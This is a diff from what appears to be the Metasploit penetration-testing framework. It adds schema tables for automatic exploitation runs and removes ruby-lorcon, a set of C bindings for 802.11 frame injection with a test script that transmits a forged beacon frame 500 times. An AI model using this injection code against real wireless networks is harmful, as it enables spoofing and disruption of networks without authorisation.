@ -19,6 +19,54 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
|
|||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "automatic_exploitation_match_results", :force => true do |t|
|
||||
t.integer "match_id"
|
||||
t.integer "run_id"
|
||||
t.string "state", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_match_results", ["match_id"], :name => "index_automatic_exploitation_match_results_on_match_id"
|
||||
add_index "automatic_exploitation_match_results", ["run_id"], :name => "index_automatic_exploitation_match_results_on_run_id"
|
||||
|
||||
create_table "automatic_exploitation_match_sets", :force => true do |t|
|
||||
t.integer "workspace_id"
|
||||
t.integer "user_id"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id"
|
||||
add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id"
|
||||
|
||||
create_table "automatic_exploitation_matches", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.string "state"
|
||||
t.integer "nexpose_data_vulnerability_definition_id"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.integer "match_set_id"
|
||||
t.string "matchable_type"
|
||||
t.integer "matchable_id"
|
||||
t.text "module_fullname"
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id"
|
||||
add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname"
|
||||
|
||||
create_table "automatic_exploitation_runs", :force => true do |t|
|
||||
t.integer "workspace_id"
|
||||
t.integer "user_id"
|
||||
t.integer "match_set_id"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_runs", ["match_set_id"], :name => "index_automatic_exploitation_runs_on_match_set_id"
|
||||
add_index "automatic_exploitation_runs", ["user_id"], :name => "index_automatic_exploitation_runs_on_user_id"
|
||||
add_index "automatic_exploitation_runs", ["workspace_id"], :name => "index_automatic_exploitation_runs_on_workspace_id"
|
||||
|
||||
create_table "clients", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.datetime "created_at"
|
||||
|
@ -166,8 +214,11 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
|
|||
t.string "content_type"
|
||||
t.text "name"
|
||||
t.text "info"
|
||||
t.integer "module_run_id"
|
||||
end
|
||||
|
||||
add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id"
|
||||
|
||||
create_table "macros", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
|
@ -359,6 +410,26 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
|
|||
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
|
||||
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
|
||||
|
||||
create_table "module_runs", :force => true do |t|
|
||||
t.datetime "attempted_at"
|
||||
t.text "fail_detail"
|
||||
t.string "fail_reason"
|
||||
t.text "module_fullname"
|
||||
t.integer "port"
|
||||
t.string "proto"
|
||||
t.integer "session_id"
|
||||
t.string "status"
|
||||
t.integer "trackable_id"
|
||||
t.string "trackable_type"
|
||||
t.integer "user_id"
|
||||
t.string "username"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "module_runs", ["session_id"], :name => "index_module_runs_on_session_id"
|
||||
add_index "module_runs", ["user_id"], :name => "index_module_runs_on_user_id"
|
||||
|
||||
create_table "module_targets", :force => true do |t|
|
||||
t.integer "detail_id"
|
||||
t.integer "index"
|
||||
|
@ -393,9 +464,11 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
|
|||
t.boolean "critical"
|
||||
t.boolean "seen"
|
||||
t.text "data"
|
||||
t.integer "vuln_id"
|
||||
end
|
||||
|
||||
add_index "notes", ["ntype"], :name => "index_notes_on_ntype"
|
||||
add_index "notes", ["vuln_id"], :name => "index_notes_on_vuln_id"
|
||||
|
||||
create_table "profiles", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
|
@ -454,6 +527,7 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
|
|||
t.text "info"
|
||||
end
|
||||
|
||||
add_index "services", ["host_id", "port", "proto"], :name => "index_services_on_host_id_and_port_and_proto", :unique => true
|
||||
add_index "services", ["name"], :name => "index_services_on_name"
|
||||
add_index "services", ["port"], :name => "index_services_on_port"
|
||||
add_index "services", ["proto"], :name => "index_services_on_proto"
|
||||
|
@ -483,8 +557,11 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
|
|||
t.string "close_reason"
|
||||
t.integer "local_id"
|
||||
t.datetime "last_seen"
|
||||
t.integer "module_run_id"
|
||||
end
|
||||
|
||||
add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id"
|
||||
|
||||
create_table "tags", :force => true do |t|
|
||||
t.integer "user_id"
|
||||
t.string "name", :limit => 1024
|
||||
|
|
|
@ -1,525 +0,0 @@
|
|||
#include "Lorcon.h"
|
||||
#include "ruby.h"
|
||||
|
||||
/*
|
||||
self.license = GPLv2;
|
||||
*/
|
||||
|
||||
/*
|
||||
This is a derivative of the tx.c sample included with lorcon:
|
||||
http://802.11ninja.net/lorcon/
|
||||
|
||||
lorcon is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
lorcon is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with lorcon; if not, write to the Free Software
|
||||
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
|
||||
Copyright (c) 2005 dragorn and Joshua Wright
|
||||
|
||||
*/
|
||||
|
||||
/*
|
||||
Lots of code borrowed from Tom Wambold's pylorcon:
|
||||
http://pylorcon.googlecode.com/ - tom5760[at]gmail.com
|
||||
*/
|
||||
|
||||
/*
|
||||
All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007
|
||||
http://metasploit.com/ - msfdev[at]metasploit.com
|
||||
*/
|
||||
|
||||
VALUE mLorcon;
|
||||
VALUE cDevice;
|
||||
|
||||
VALUE lorcon_get_version(VALUE self) {
|
||||
return INT2NUM(tx80211_getversion());
|
||||
}
|
||||
|
||||
VALUE lorcon_cap_to_list(int cap) {
|
||||
VALUE list;
|
||||
list = rb_ary_new();
|
||||
|
||||
if ((cap & TX80211_CAP_SNIFF) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SNIFF"));
|
||||
|
||||
if ((cap & TX80211_CAP_TRANSMIT) != 0)
|
||||
rb_ary_push(list, rb_str_new2("TRANSMIT"));
|
||||
|
||||
if ((cap & TX80211_CAP_SEQ) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SEQ"));
|
||||
|
||||
if ((cap & TX80211_CAP_BSSTIME) != 0)
|
||||
rb_ary_push(list, rb_str_new2("BSSTIME"));
|
||||
|
||||
if ((cap & TX80211_CAP_FRAG) != 0)
|
||||
rb_ary_push(list, rb_str_new2("FRAG"));
|
||||
|
||||
if ((cap & TX80211_CAP_CTRL) != 0)
|
||||
rb_ary_push(list, rb_str_new2("CTRL"));
|
||||
|
||||
if ((cap & TX80211_CAP_DURID) != 0)
|
||||
rb_ary_push(list, rb_str_new2("DURID"));
|
||||
|
||||
if ((cap & TX80211_CAP_SNIFFACK) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SNIFFACK"));
|
||||
|
||||
if ((cap & TX80211_CAP_SELFACK) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SELFACK"));
|
||||
|
||||
if ((cap & TX80211_CAP_TXNOWAIT) != 0)
|
||||
rb_ary_push(list, rb_str_new2("TXNOWAIT"));
|
||||
|
||||
if ((cap & TX80211_CAP_DSSSTX) != 0)
|
||||
rb_ary_push(list, rb_str_new2("DSSSTX"));
|
||||
|
||||
if ((cap & TX80211_CAP_OFDMTX) != 0)
|
||||
rb_ary_push(list, rb_str_new2("OFDMTX"));
|
||||
|
||||
if ((cap & TX80211_CAP_MIMOTX) != 0)
|
||||
rb_ary_push(list, rb_str_new2("MIMOTX"));
|
||||
|
||||
if ((cap & TX80211_CAP_SETRATE) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SETRATE"));
|
||||
|
||||
if ((cap & TX80211_CAP_SETMODULATION) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SETMODULATION"));
|
||||
|
||||
if ((cap & TX80211_CAP_NONE) != 0)
|
||||
rb_ary_push(list, rb_str_new2("NONE"));
|
||||
|
||||
return list;
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_driver_list(VALUE self) {
|
||||
VALUE list;
|
||||
VALUE hash;
|
||||
|
||||
struct tx80211_cardlist *cards = NULL;
|
||||
int i;
|
||||
|
||||
list = rb_hash_new();
|
||||
cards = tx80211_getcardlist();
|
||||
if (cards == NULL) {
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
for (i = 1; i < cards->num_cards; i++) {
|
||||
hash = rb_hash_new();
|
||||
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(cards->cardnames[i]));
|
||||
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(cards->descriptions[i]));
|
||||
rb_hash_aset(hash, rb_str_new2("capabilities"), lorcon_cap_to_list(cards->capabilities[i]));
|
||||
rb_hash_aset(list, rb_str_new2(cards->cardnames[i]), hash);
|
||||
}
|
||||
|
||||
tx80211_freecardlist(cards);
|
||||
return(list);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_get_channel(VALUE self) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return INT2NUM(tx80211_getchannel(&rld->in_tx));
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_set_channel(VALUE self, VALUE channel) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
tx80211_setchannel(&rld->in_tx, NUM2INT(channel));
|
||||
return INT2NUM(tx80211_getchannel(&rld->in_tx));
|
||||
}
|
||||
|
||||
void lorcon_device_free(struct rldev *rld) {
|
||||
if (tx80211_getmode(&rld->in_tx) >= 0) {
|
||||
tx80211_close(&rld->in_tx);
|
||||
}
|
||||
free(&rld->in_tx);
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_device_get_mode(VALUE self) {
|
||||
struct rldev *rld;
|
||||
int mode;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
|
||||
mode = tx80211_getmode(&rld->in_tx);
|
||||
if (mode < 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon could not determine the mode of this device: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
switch (mode) {
|
||||
case TX80211_MODE_AUTO:
|
||||
return rb_str_new2("AUTO");
|
||||
break;
|
||||
case TX80211_MODE_ADHOC:
|
||||
return rb_str_new2("ADHOC");
|
||||
break;
|
||||
case TX80211_MODE_INFRA:
|
||||
return rb_str_new2("INFRA");
|
||||
break;
|
||||
case TX80211_MODE_MASTER:
|
||||
return rb_str_new2("MASTER");
|
||||
break;
|
||||
case TX80211_MODE_REPEAT:
|
||||
return rb_str_new2("REPEAT");
|
||||
break;
|
||||
case TX80211_MODE_SECOND:
|
||||
return rb_str_new2("SECOND");
|
||||
break;
|
||||
case TX80211_MODE_MONITOR:
|
||||
return rb_str_new2("MONITOR");
|
||||
break;
|
||||
default:
|
||||
return Qnil;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_set_mode(VALUE self, VALUE rmode) {
|
||||
struct rldev *rld;
|
||||
char *setmode = StringValuePtr(rmode);
|
||||
int mode = -1;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (strcmp(setmode, "AUTO") == 0) {
|
||||
mode = TX80211_MODE_AUTO;
|
||||
} else if (strcmp(setmode, "ADHOC") == 0) {
|
||||
mode = TX80211_MODE_ADHOC;
|
||||
} else if (strcmp(setmode, "INFRA") == 0) {
|
||||
mode = TX80211_MODE_INFRA;
|
||||
} else if (strcmp(setmode, "MASTER") == 0) {
|
||||
mode = TX80211_MODE_MASTER;
|
||||
} else if (strcmp(setmode, "REPEAT") == 0) {
|
||||
mode = TX80211_MODE_REPEAT;
|
||||
} else if (strcmp(setmode, "SECOND") == 0) {
|
||||
mode = TX80211_MODE_SECOND;
|
||||
} else if (strcmp(setmode, "MONITOR") == 0) {
|
||||
mode = TX80211_MODE_MONITOR;
|
||||
} else {
|
||||
rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
return INT2NUM(tx80211_setmode(&rld->in_tx, mode));
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_device_set_functional_mode(VALUE self, VALUE rmode) {
|
||||
struct rldev *rld;
|
||||
char *funcmode = StringValuePtr(rmode);
|
||||
int mode = -1;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (strcmp(funcmode, "RFMON") == 0) {
|
||||
mode = TX80211_FUNCMODE_RFMON;
|
||||
} else if (strcmp(funcmode, "INJECT") == 0) {
|
||||
mode = TX80211_FUNCMODE_INJECT;
|
||||
} else if (strcmp(funcmode, "INJMON") == 0) {
|
||||
mode = TX80211_FUNCMODE_INJMON;
|
||||
} else {
|
||||
rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
if (tx80211_setfunctionalmode(&rld->in_tx, mode) != 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon could not set the functional mode: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
return Qtrue;
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_device_get_txrate(VALUE self) {
|
||||
struct rldev *rld;
|
||||
int txrate;
|
||||
|
||||
txrate = tx80211_gettxrate(&rld->in_packet);
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
switch (txrate) {
|
||||
case TX80211_RATE_DEFAULT:
|
||||
return UINT2NUM(0);
|
||||
break;
|
||||
case TX80211_RATE_1MB:
|
||||
return UINT2NUM(1);
|
||||
break;
|
||||
case TX80211_RATE_2MB:
|
||||
return UINT2NUM(2);
|
||||
break;
|
||||
case TX80211_RATE_5_5MB:
|
||||
return UINT2NUM(5);
|
||||
break;
|
||||
case TX80211_RATE_6MB:
|
||||
return UINT2NUM(6);
|
||||
break;
|
||||
case TX80211_RATE_9MB:
|
||||
return UINT2NUM(9);
|
||||
break;
|
||||
case TX80211_RATE_11MB:
|
||||
return UINT2NUM(11);
|
||||
break;
|
||||
case TX80211_RATE_24MB:
|
||||
return UINT2NUM(24);
|
||||
break;
|
||||
case TX80211_RATE_36MB:
|
||||
return UINT2NUM(36);
|
||||
break;
|
||||
case TX80211_RATE_48MB:
|
||||
return UINT2NUM(48);
|
||||
break;
|
||||
case TX80211_RATE_108MB:
|
||||
return UINT2NUM(108);
|
||||
break;
|
||||
default:
|
||||
rb_raise(rb_eArgError, "Lorcon could not determine the tx rate: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_device_set_txrate(VALUE self, VALUE rrate) {
|
||||
struct rldev *rld;
|
||||
float settxrate = -1;
|
||||
int txrate = -1;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
|
||||
if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETRATE) == 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon does not support setting the tx rate for this card");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
settxrate = NUM2DBL(rrate);
|
||||
|
||||
if (settxrate == -1) {
|
||||
txrate = TX80211_RATE_DEFAULT;
|
||||
} else if (settxrate == 1) {
|
||||
txrate = TX80211_RATE_1MB;
|
||||
} else if (settxrate == 2) {
|
||||
txrate = TX80211_RATE_2MB;
|
||||
} else if (settxrate == 5.5) {
|
||||
txrate = TX80211_RATE_5_5MB;
|
||||
} else if (settxrate == 6) {
|
||||
txrate = TX80211_RATE_6MB;
|
||||
} else if (settxrate == 9) {
|
||||
txrate = TX80211_RATE_9MB;
|
||||
} else if (settxrate == 11) {
|
||||
txrate = TX80211_RATE_11MB;
|
||||
} else if (settxrate == 24) {
|
||||
txrate = TX80211_RATE_24MB;
|
||||
} else if (settxrate == 36) {
|
||||
txrate = TX80211_RATE_36MB;
|
||||
} else if (settxrate == 48) {
|
||||
txrate = TX80211_RATE_48MB;
|
||||
} else if (settxrate == 108) {
|
||||
txrate = TX80211_RATE_108MB;
|
||||
} else {
|
||||
rb_raise(rb_eArgError, "Lorcon does not support this rate setting");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
if (tx80211_settxrate(&rld->in_tx, &rld->in_packet, txrate) < 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon could not set the tx rate: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
return INT2NUM(txrate);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_get_modulation(VALUE self) {
|
||||
struct rldev *rld;
|
||||
int mod;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
mod = tx80211_getmodulation(&rld->in_packet);
|
||||
switch (mod) {
|
||||
case TX80211_MOD_DEFAULT:
|
||||
return rb_str_new2("DEFAULT");
|
||||
break;
|
||||
case TX80211_MOD_FHSS:
|
||||
return rb_str_new2("FHSS");
|
||||
break;
|
||||
case TX80211_MOD_DSSS:
|
||||
return rb_str_new2("DSSS");
|
||||
break;
|
||||
case TX80211_MOD_OFDM:
|
||||
return rb_str_new2("OFDM");
|
||||
break;
|
||||
case TX80211_MOD_TURBO:
|
||||
return rb_str_new2("TURBO");
|
||||
break;
|
||||
case TX80211_MOD_MIMO:
|
||||
return rb_str_new2("MIMO");
|
||||
break;
|
||||
case TX80211_MOD_MIMOGF:
|
||||
return rb_str_new2("MIMOGF");
|
||||
break;
|
||||
default:
|
||||
rb_raise(rb_eArgError, "Lorcon could not get the modulation value");
|
||||
return(Qnil);
|
||||
}
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_set_modulation(VALUE self, VALUE rmod) {
|
||||
struct rldev *rld;
|
||||
char *setmod = NULL;
|
||||
int mod;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETMODULATION) == 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon does not support setting the modulation for this card");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
setmod = StringValuePtr(rmod);
|
||||
|
||||
if (strcmp(setmod, "DEFAULT") == 0) {
|
||||
mod = TX80211_MOD_DEFAULT;
|
||||
} else if (strcmp(setmod, "FHSS") == 0) {
|
||||
mod = TX80211_MOD_FHSS;
|
||||
} else if (strcmp(setmod, "DSSS") == 0) {
|
||||
mod = TX80211_MOD_DSSS;
|
||||
} else if (strcmp(setmod, "OFDM") == 0) {
|
||||
mod = TX80211_MOD_OFDM;
|
||||
} else if (strcmp(setmod, "TURBO") == 0) {
|
||||
mod = TX80211_MOD_TURBO;
|
||||
} else if (strcmp(setmod, "MIMO") == 0) {
|
||||
mod = TX80211_MOD_MIMO;
|
||||
} else if (strcmp(setmod, "MIMOGF") == 0) {
|
||||
mod = TX80211_MOD_MIMOGF;
|
||||
} else {
|
||||
rb_raise(rb_eArgError, "Lorcon does not support this modulation setting");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
if (tx80211_setmodulation(&rld->in_tx, &rld->in_packet, mod) < 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon could not set the modulation: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
return INT2NUM(mod);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_get_capabilities(VALUE self) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return(lorcon_cap_to_list(tx80211_getcapabilities(&rld->in_tx)));
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_open(int argc, VALUE *argv, VALUE self) {
|
||||
struct rldev *rld;
|
||||
int ret = 0;
|
||||
int drivertype = INJ_NODRIVER;
|
||||
char *driver, *intf;
|
||||
VALUE rbdriver, rbintf;
|
||||
VALUE obj;
|
||||
|
||||
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
|
||||
|
||||
driver = STR2CSTR(rbdriver);
|
||||
intf = STR2CSTR(rbintf);
|
||||
|
||||
obj = Data_Make_Struct(cDevice, struct rldev, 0, lorcon_device_free, rld);
|
||||
|
||||
drivertype = tx80211_resolvecard(driver);
|
||||
if (drivertype == INJ_NODRIVER) {
|
||||
rb_raise(rb_eArgError, "Lorcon did not recognize the specified driver");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
if (tx80211_init(&rld->in_tx, intf, drivertype) < 0) {
|
||||
rb_raise(rb_eRuntimeError, "Lorcon could not initialize the interface: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
/* Open the interface to get a socket */
|
||||
ret = tx80211_open(&rld->in_tx);
|
||||
if (ret < 0) {
|
||||
rb_raise(rb_eRuntimeError, "Lorcon could not open the interface: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
rb_obj_call_init(obj, 0, 0);
|
||||
return(obj);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_write(int argc, VALUE *argv, VALUE self) {
|
||||
struct rldev *rld;
|
||||
int ret = 0;
|
||||
int cnt = 0;
|
||||
int dly = 0;
|
||||
|
||||
VALUE rbbuff, rbcnt, rbdelay;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
switch(rb_scan_args(argc, argv, "12", &rbbuff, &rbcnt, &rbdelay)) {
|
||||
case 1:
|
||||
rbdelay = INT2NUM(0);
|
||||
case 2:
|
||||
rbcnt = INT2NUM(1);
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
cnt = NUM2INT(rbcnt);
|
||||
dly = NUM2INT(rbdelay);
|
||||
|
||||
rld->in_packet.packet = StringValuePtr(rbbuff);
|
||||
rld->in_packet.plen = RSTRING(rbbuff)->len;
|
||||
|
||||
for (; cnt > 0; cnt--) {
|
||||
ret = tx80211_txpacket(&rld->in_tx, &rld->in_packet);
|
||||
if (ret < 0) {
|
||||
rb_raise(rb_eRuntimeError, "Lorcon could not transmit packet: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(INT2NUM(ret));
|
||||
}
|
||||
if (dly > 0)
|
||||
#ifdef _MSC_VER
|
||||
Sleep(dly);
|
||||
#else
|
||||
usleep(dly);
|
||||
#endif
|
||||
}
|
||||
|
||||
return (rbcnt);
|
||||
}
|
||||
|
||||
void Init_Lorcon() {
|
||||
mLorcon = rb_define_module("Lorcon");
|
||||
rb_define_module_function(mLorcon, "drivers", lorcon_driver_list, 0);
|
||||
rb_define_module_function(mLorcon, "version", lorcon_get_version, 0);
|
||||
|
||||
cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject);
|
||||
rb_define_singleton_method(cDevice, "new", lorcon_device_open, -1);
|
||||
rb_define_method(cDevice, "channel", lorcon_device_get_channel, 0);
|
||||
rb_define_method(cDevice, "channel=", lorcon_device_set_channel, 1);
|
||||
rb_define_method(cDevice, "write", lorcon_device_write, -1);
|
||||
rb_define_method(cDevice, "mode", lorcon_device_get_mode, 0);
|
||||
rb_define_method(cDevice, "mode=", lorcon_device_set_mode, 1);
|
||||
rb_define_method(cDevice, "fmode=", lorcon_device_set_functional_mode, 1);
|
||||
rb_define_method(cDevice, "txrate", lorcon_device_get_txrate, 0);
|
||||
rb_define_method(cDevice, "txrate=", lorcon_device_set_txrate, 1);
|
||||
rb_define_method(cDevice, "modulation", lorcon_device_get_modulation, 0);
|
||||
rb_define_method(cDevice, "modulation=", lorcon_device_set_modulation, 1);
|
||||
rb_define_method(cDevice, "capabilities", lorcon_device_get_capabilities, 0);
|
||||
}
|
|
@ -1,19 +0,0 @@
|
|||
#ifndef _MSFLORCON_H
|
||||
#define _MSFLORCON_H
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <tx80211.h>
|
||||
#include <tx80211_packet.h>
|
||||
|
||||
|
||||
struct rldev {
|
||||
struct tx80211 in_tx;
|
||||
struct tx80211_packet in_packet;
|
||||
};
|
||||
|
||||
|
||||
#endif
|
|
@ -1,41 +0,0 @@
|
|||
This is an experimental interface for lorcon, a 802.11 library
|
||||
developed by Joshua Wright and dragorn. This interface is only
|
||||
available on Linux and with lorcon-supported wireless drivers.
|
||||
|
||||
For more information, please see the lorcon documentation and code:
|
||||
http://www.802.11mercenary.net/lorcon/
|
||||
|
||||
To build this extension:
|
||||
|
||||
1) Download, compile, and install lorcon
|
||||
The latest version of lorcon can pulled from SVN:
|
||||
$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon
|
||||
$ cd lorcon
|
||||
$ ./configure
|
||||
$ make
|
||||
$ sudo make install
|
||||
-- or --
|
||||
$ su
|
||||
# make install
|
||||
# exit
|
||||
$ cd ..
|
||||
|
||||
2) build the ruby extension..
|
||||
$ ruby extconf.rb
|
||||
$ make
|
||||
$ sudo make install
|
||||
-- or --
|
||||
$ su
|
||||
# make install
|
||||
|
||||
|
||||
NOTES:
|
||||
|
||||
if Ubuntu 8.04 (and probably others) bitches about 'mkmf',
|
||||
you need ruby dev package.
|
||||
|
||||
:~/metasploit/external/ruby-lorcon$ ruby extconf.rb
|
||||
extconf.rb:2:in `require': no such file to load -- mkmf (LoadError)
|
||||
from extconf.rb:2
|
||||
|
||||
:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev
|
|
@ -1,8 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'mkmf'
|
||||
|
||||
if (have_library("orcon", "tx80211_txpacket", "tx80211.h") or find_library("orcon", "tx80211_txpacket", "tx80211.h"))
|
||||
create_makefile("Lorcon")
|
||||
else
|
||||
puts "Error: the lorcon library was not found, please see the README"
|
||||
end
|
|
@ -1,47 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$:.unshift(File.dirname(__FILE__))
|
||||
require "Lorcon"
|
||||
require "pp"
|
||||
|
||||
pp Lorcon.version
|
||||
pp Lorcon.drivers
|
||||
|
||||
# Beacon frame from tx.c
|
||||
packet = [
|
||||
0x80, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # dur ffff
|
||||
0xff, 0xff, 0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03,
|
||||
0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03, 0x00, 0x00, # 0x0000 - seq no.
|
||||
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # BSS timestamp
|
||||
0x64, 0x00, 0x11, 0x00, 0x00, 0x0f, 0x73, 0x6f,
|
||||
0x6d, 0x65, 0x74, 0x68, 0x69, 0x6e, 0x67, 0x63,
|
||||
0x6c, 0x65, 0x76, 0x65, 0x72, 0x01, 0x08, 0x82,
|
||||
0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03,
|
||||
0x01, 0x01, 0x05, 0x04, 0x00, 0x01, 0x00, 0x00,
|
||||
0x2a, 0x01, 0x05, 0x2f, 0x01, 0x05, 0x32, 0x04,
|
||||
0x0c, 0x12, 0x18, 0x60, 0xdd, 0x05, 0x00, 0x10,
|
||||
0x18, 0x01, 0x01, 0xdd, 0x16, 0x00, 0x50, 0xf2,
|
||||
0x01, 0x01, 0x00, 0x00, 0x50, 0xf2, 0x02, 0x01,
|
||||
0x00, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x00, 0x00,
|
||||
0x50, 0xf2, 0x02
|
||||
].pack('C*')
|
||||
|
||||
|
||||
# Configure the card for reliable injection
|
||||
|
||||
tx = Lorcon::Device.new('ath0', 'madwifing')
|
||||
tx.fmode = "INJECT"
|
||||
tx.channel = 11
|
||||
tx.txrate = 2
|
||||
tx.modulation = "DSSS"
|
||||
|
||||
sa = Time.now.to_f
|
||||
tx.write(packet, 500, 0)
|
||||
ea = Time.now.to_f - sa
|
||||
|
||||
sb = Time.now.to_f
|
||||
500.times { tx.write(packet, 1, 0) }
|
||||
eb = Time.now.to_f - sb
|
||||
|
||||
$stdout.puts "Sent 500 packets (C) in #{ea.to_s} seconds"
|
||||
$stdout.puts "Sent 500 packets (Ruby) in #{eb.to_s} seconds"
|
|
@ -1,655 +0,0 @@
|
|||
#include "Lorcon2.h"
|
||||
#include "ruby.h"
|
||||
|
||||
